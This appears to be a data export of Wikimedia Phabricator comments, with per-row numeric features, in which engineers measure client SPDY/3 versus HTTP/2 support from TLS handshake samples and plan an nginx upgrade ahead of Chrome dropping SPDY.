stats.",,,1459000874,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.5,0.0,0.0,0.0,0.5,9.5,1.0,0.5,0.0,2.0,1.0,1.5,0.0,0.0,0.0,4.5,0.0,4.5,14.5,0.0,3.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,5.5,1.0,2.5,3.5,2.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,5.5,14.5,0.5,0.0,1.0,0.0,5.5,0.0,0.5,1.5,0.0,1.5,1.5,0.0,0.0,4.033333333333333,0.8,"The basic plan for moving forward is to start from debian's current 1.9.11 packaging, update it to 1.9.12 (because .12 upstreams our temporary fix for openssl ""shutdown while in init"" log spam, and contains an http/2 socket leak bugfix), and forward-port our multi-cert patches from our custom 1.9.4 package to a new custom 1.9.12 package.  I'm hoping we'll have the package ready for testing on pinkunicorn by mid next week if the forward-porting goes smoothly, or the week after if not.  If functional testing works out, we'll then be in a position to deploy this when we decide it's appropriate to make the switch.  We still do need to take some broader and longer samples with the systemtap method to confirm overall stats."
635830,Support HTTP/2,"On looking into the spdy/3 stats drop, my suspicion is something has changed with IE11 (that it has dropped SPDY/3 for http/[12]), but I still haven't found a good source confirming this.",,,1459000823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,5.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.0,3.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9487179487179487,"On looking into the spdy/3 stats drop, my suspicion is something has changed with IE11 (that it has dropped SPDY/3 for http/[12]), but I still haven't found a good source confirming this."
634768,Support HTTP/2,"We still don't have a broad, long sample, but using @ema's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:

```
total: 141066
both: 54089
npn_http1: 17949
alpn_spdy: 6308
npn_spdy: 4112
h2: 2196
```

Which makes a box like the earlier ones that looks like:

| Protocol | Percentage |
| --- | --- |
| h2 only | 1.6% |
| spdy3 only | 7.4% |
| spdy3+h2 | 38.3% |
| none | 52.7% |

Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April.",,,1458825619,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,1.6666666666666667,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,9.0,7.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,18.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.6666666666666666,4.0,1.3333333333333333,2.3333333333333335,4.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,2.6666666666666665,0.0,4.0,7.0,2.6666666666666665,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,3.3798701298701297,0.6811346548188654,"We still don't have a broad, long sample, but usingSCREEN_NAME's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:

``CODE``

Which makes a box like the earlier ones that looks like:

| Protocol | Percentage |
| --- | --- |
| h2 only | 1.6% |
| spdy3 only | 7.4% |
| spdy3+h2 | 38.3% |
| none | 52.7% |

Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April."
634767,Support HTTP/2,"We still don't have a broad, long sampe, but using ema's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:

```
total: 141066
both: 54089
npn_http1: 17949
alpn_spdy: 6308
npn_spdy: 4112
h2: 2196
```

Which makes a box like the earlier ones that looks like:

| Protocol | Percentage |
| --- | --- |
| h2 only | 1.6% |
| spdy3 only | 7.4% |
| spdy3+h2 | 38.3% |
| none | 52.7% |

Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April.",,,1458825607,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,1.6666666666666667,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,9.0,7.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,18.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.6666666666666666,4.0,1.3333333333333333,2.3333333333333335,4.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,2.6666666666666665,0.0,4.0,7.0,2.6666666666666665,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,3.3267259056732743,0.6869446343130554,"We still don't have a broad, long sampe, but using ema's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:

``CODE``

Which makes a box like the earlier ones that looks like:

| Protocol | Percentage |
| --- | --- |
| h2 only | 1.6% |
| spdy3 only | 7.4% |
| spdy3+h2 | 38.3% |
| none | 52.7% |

Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April."
634583,Support HTTP/2,Given https://grafana.wikimedia.org/dashboard/db/client-connections?panelId=5&fullscreen&from=1458171959186&to=1458776759186 it might be worth re-calculating the h2/spdy3/spdy3+h2/none numbers again…,,,1458780452,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.7,0.9,Given URL it might be worth re-calculating the h2/spdy3/spdy3+h2/none numbers again…
626993,Support HTTP/2,"Change 276233 merged by Ema:
Add h2_spdy_stats.stp

[[https://gerrit.wikimedia.org/r/276233]]",,,1457597737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.066666666666666,0.8666666666666667,"Change 276233 merged by Ema:
Add h2_spdy_stats.stp

[[GERRIT_URL]]"
626566,Support HTTP/2,"Change 276233 had a related patch set uploaded (by Ema):
Add h2_spdy_stats.stp

[[https://gerrit.wikimedia.org/r/276233]]
",,,1457549417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,35,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.8636363636363636,"Change 276233 had a related patch set uploaded (by Ema):
Add h2_spdy_stats.stp

[[GERRIT_URL]]
"
624208,Support HTTP/2,">>! In T96848#2092243, @ori wrote:
> I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.

%%% Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan. %%%

In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.

See also <http://caniuse.com/#feat=spdy> and <http://caniuse.com/#feat=http2>.",,,1457297228,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,11.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,26.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,3.0,6.0,4.0,0.0,2.0,11.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.01010101010101,0.6666666666666666,"QUOTE
QUOTE

%%% Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan. %%%

In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.

See also <URL and <URL"
624207,Support HTTP/2,">>! In T96848#2092243, @ori wrote:
> I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.

Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan.

In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.

See also <http://caniuse.com/#feat=spdy> and <http://caniuse.com/#feat=http2>.",,,1457297141,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,12.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,28.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,12.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.204301075268817,0.6989247311827957,"QUOTE
QUOTE

Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan.

In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.

See also <URL and <URL"
624059,Support HTTP/2,"I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.",,,1457240647,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,4.222222222222222,0.8888888888888888,"I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster."
622759,Support HTTP/2,"
I took another quick 5-minute sample just now in the EU like last time, but different time of day, and currently it's:

| Protocol | Percentage |
| --- | --- |
| h2 only | 3.0% |
| spdy3 only | 20.9% |
| spdy3+h2 | 33.6% |
| none | 42.5% |

With these limited samples is hard to infer much in terms of trend really, but they're easy to generate as one-offs.  The problem is the tools for it are very low-level one-off stuff - it's literally coming from live ethernet packet captures, which isn't something we'd normally roll into a reusable stats script or anything.  Also, should play around a bit more with our assumptions: right now we're assuming anything that sends NPN but not ALPN must support SPDY and not H/2, but technically that's not necessarily the case (e.g. there could be oddballs out there which send NPN but only use it to advertise H/1.1, and do not implement ALPN yet.  Maybe they do SPDY only when built on certain platforms, but always have the NPN part of the code turned on?).  The problem with NPN is that, unlike ALPN, the data inside the option that specifies the protocol list is actually encrypted, so it's quit a bit more work (but still possible!) to capture it on our end.

Regardless, we probably should start finding a way to take this data more-reliably and see the real trends (e.g. twice a day snapshots across all machines, at US/EU peak-ish times, maybe).  It could probably be semi-automated from cron and salt for a while and then removed when we make the switch.  Still, it's a bit scary to automate it.",,,1457040347,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.5,0.75,0.25,0.25,1.25,4.75,1.25,0.0,0.0,0.0,1.25,1.0,0.0,1.0,0.25,2.0,0.0,11.5,8.25,1.0,1.5,0.75,0.25,0.0,0.5,0.25,0.0,0.75,0.5,0.25,0.0,5.25,1.0,2.25,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.25,0.0,0.25,0.0,17.25,1.0,0.25,0.25,1.25,0.5,0.0,0.0,0.0,0.75,0.0,0.25,1.25,0.0,0.0,0.0,0.25,0.0,5.0,2.0,6.5,1.0,3.5,7.0,0.0,0.0,0.25,0.0,3.75,0.25,1.75,0.0,4.75,8.25,3.75,0.25,0.0,0.0,4.75,0.0,1.5,1.75,0.0,0.75,0.75,0.0,0.0,3.533333333333333,0.7277777777777777,"
I took another quick 5-minute sample just now in the EU like last time, but different time of day, and currently it's:

| Protocol | Percentage |
| --- | --- |
| h2 only | 3.0% |
| spdy3 only | 20.9% |
| spdy3+h2 | 33.6% |
| none | 42.5% |

With these limited samples is hard to infer much in terms of trend really, but they're easy to generate as one-offs.  The problem is the tools for it are very low-level one-off stuff - it's literally coming from live ethernet packet captures, which isn't something we'd normally roll into a reusable stats script or anything.  Also, should play around a bit more with our assumptions: right now we're assuming anything that sends NPN but not ALPN must support SPDY and not H/2, but technically that's not necessarily the case (e.g. there could be oddballs out there which send NPN but only use it to advertise H/1.1, and do not implement ALPN yet.  Maybe they do SPDY only when built on certain platforms, but always have the NPN part of the code turned on?).  The problem with NPN is that, unlike ALPN, the data inside the option that specifies the protocol list is actually encrypted, so it's quit a bit more work (but still possible!) to capture it on our end.

Regardless, we probably should start finding a way to take this data more-reliably and see the real trends (e.g. twice a day snapshots across all machines, at US/EU peak-ish times, maybe).  It could probably be semi-automated from cron and salt for a while and then removed when we make the switch.  Still, it's a bit scary to automate it."
622741,Support HTTP/2,"Thanks for the update, @BBlack, and for your work in this space. I think we're on the same page. Let's check in again in April.",,,1457039022,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,12.0,19.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.34375,0.78125,"Thanks for the update,SCREEN_NAME, and for your work in this space. I think we're on the same page. Let's check in again in April."
622737,Support HTTP/2,">>! In T96848#2085945, @ori wrote:
> @bblack, @ema: can you confirm that we are on track for having HTTP/2 support on or by May 15th? Also, can you recommend a way for us to project the impact of this change ahead of the actual switch / upgrade? (e.g., can it be staged on a canary Varnish/NGINX server that we can point WebPageTest at?)

In my mind, we don't really have a choice; failing to have HTTP/2 when Chrome shuts off SPDY is a non-option.  It's not difficult for us to move forward to HTTP/2 if we're willing to dump SPDY, we just have to update our nginx packages and forward-port our other local patches (which are mostly openssl/cert -related, not protocol-related).  When we get closer, we'll most likely stage this on pinkunicorn.wikimedia.org again.

As for timing: I'm still hoping that SPDY-only stats will drop further before we have to make the switch.  I doubt they'll drop off as much as we'd like, so that means delaying as much as we reasonably can (and frankly, we're busy anyways).  We probably won't end up flipping the production switch until sometime in mid-late April.   I don't anticipate working on having the package + running canary until very early April, either.",,,1457038898,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,1.0,0.0,0.5,0.0,2.5,8.0,1.0,0.0,0.0,0.5,3.5,4.5,0.0,0.5,0.0,8.5,0.0,14.0,12.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,7.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,8.5,0.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.5,0.0,0.5,0.5,0.0,0.0,2.5,1.0,9.0,2.5,1.5,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.5,12.0,3.5,0.0,0.0,0.0,9.5,0.0,1.5,1.0,0.5,3.5,0.5,0.5,0.0,3.7244897959183674,0.75,"QUOTE
QUOTE

In my mind, we don't really have a choice; failing to have HTTP/2 when Chrome shuts off SPDY is a non-option.  It's not difficult for us to move forward to HTTP/2 if we're willing to dump SPDY, we just have to update our nginx packages and forward-port our other local patches (which are mostly openssl/cert -related, not protocol-related).  When we get closer, we'll most likely stage this on pinkunicorn.wikimedia.org again.

As for timing: I'm still hoping that SPDY-only stats will drop further before we have to make the switch.  I doubt they'll drop off as much as we'd like, so that means delaying as much as we reasonably can (and frankly, we're busy anyways).  We probably won't end up flipping the production switch until sometime in mid-late April.   I don't anticipate working on having the package + running canary until very early April, either."
622719,Support HTTP/2,"@bblack, @ema: can you confirm that we are on track for having HTTP/2 support on or by May 15th? Also, can you recommend a way for us to project the impact of this change ahead of the actual switch / upgrade? (e.g., can it be staged on a canary Varnish/NGINX server that we can point WebPageTest at?)",,,1457037484,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,9.0,18.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.75,0.7352941176470589,"SCREEN_NAME,SCREEN_NAME: can you confirm that we are on track for having HTTP/2 support on or by May 15th? Also, can you recommend a way for us to project the impact of this change ahead of the actual switch / upgrade? (e.g., can it be staged on a canary Varnish/NGINX server that we can point WebPageTest at?)"
608953,Support HTTP/2,Would be great if we could make timeline for when we can start to test performance for the user. Want to know if T125208 will be an issue also for H/2 or if it's only SPDY (hopefully not but it would be good to know for sure).,,,1455265252,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,10.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,10.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,10.0,19.0,4.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.75,Would be great if we could make timeline for when we can start to test performance for the user. Want to know if T125208 will be an issue also for H/2 or if it's only SPDY (hopefully not but it would be good to know for sure).
608746,Support HTTP/2,"The Chrome team [[ http://blog.chromium.org/2016/02/transitioning-from-spdy-to-http2.html | announced ]] that they will drop support for SPDY (and NPN) in three months, on May 15th.",,,1455231918,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.1724137931034484,0.9310344827586207,"The Chrome team [[ URL | announced ]] that they will drop support for SPDY (and NPN) in three months, on May 15th."
597364,Support HTTP/2,"Quick update, I did a small re-check on just a single text node in esams (mobile + desktop text traffic, random subsample of IPs, mostly in Europe) for 5 minutes:



| Protocol | Percentage |
| --- | --- |
| h2 only | 2.8% |
| spdy3 only | 17.4% |
| spdy3+h2 | 28.9% |
| none | 50.8% |

This is based on raw clienthello data at the start of TLS connections.  We count NPN presence (at all, can't see contents) as a positive indicator of spdy/3 support, and either ""spdy/3"" or ""h2"" within ALPN as positive indicators for their respective protocols.

While these numbers are moving in the right direction, they still don't look good enough to support removing spdy/3 in favor of h2.",,,1453825842,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,29,True,0.5,0.0,0.0,0.5,1.0,5.5,0.0,0.0,0.0,0.0,3.5,1.0,0.0,1.0,0.0,1.0,0.0,8.0,11.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,24.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,6.5,0.5,2.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,2.5,11.5,6.5,0.0,2.5,0.0,2.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.4451972297500753,0.6936916591388136,"Quick update, I did a small re-check on just a single text node in esams (mobile + desktop text traffic, random subsample of IPs, mostly in Europe) for 5 minutes:



| Protocol | Percentage |
| --- | --- |
| h2 only | 2.8% |
| spdy3 only | 17.4% |
| spdy3+h2 | 28.9% |
| none | 50.8% |

This is based on raw clienthello data at the start of TLS connections.  We count NPN presence (at all, can't see contents) as a positive indicator of spdy/3 support, and either ""spdy/3"" or ""h2"" within ALPN as positive indicators for their respective protocols.

